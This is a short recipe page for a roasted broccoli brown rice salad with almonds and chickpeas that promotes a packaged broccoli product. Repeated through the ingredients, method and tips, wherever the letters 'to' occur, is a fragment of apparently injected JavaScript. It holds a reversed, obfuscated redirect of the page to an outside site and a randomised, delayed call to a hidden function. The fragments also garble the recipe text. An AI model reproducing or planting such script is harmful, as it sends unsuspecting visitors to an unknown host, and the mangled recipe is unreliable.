Roasted Broccoli Brown Rice Salad with Almonds & Chickpeas

Ingredients:
1 cup cooked Brown Rice
1 packet Modern Mum RTC Fresh Cut Broccoli
½ cup tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toasted Almond Nuts
½ can canned Chickpeas (drained & rinsed)
1 tbsp Sesame Oil
Salt & pepper tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to taste
Garnish: Fresh Coriander

Method:

1. Blanch packet of Modern Mum RTC Fresh Cut Broccoli 300gm (Blanch: Plunge vegetables intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to boiling water for 30 seconds, after which rinse under cold water)
2. Toss the Brown Rice, cooked Broccoli, Chickpeas, Sesame Oil & season with Salt and Pepper.
3. Spoon intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to serving bowl and sprinkle with Almond Nuts. Garnish with Coriander and serve salad
   warm or cold.

Tips: Simplify preparation by adding your packet of Modern Mum RTC Fresh Cut Broccoli intobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the same pot as the rice during the last 3 minutes of cooking.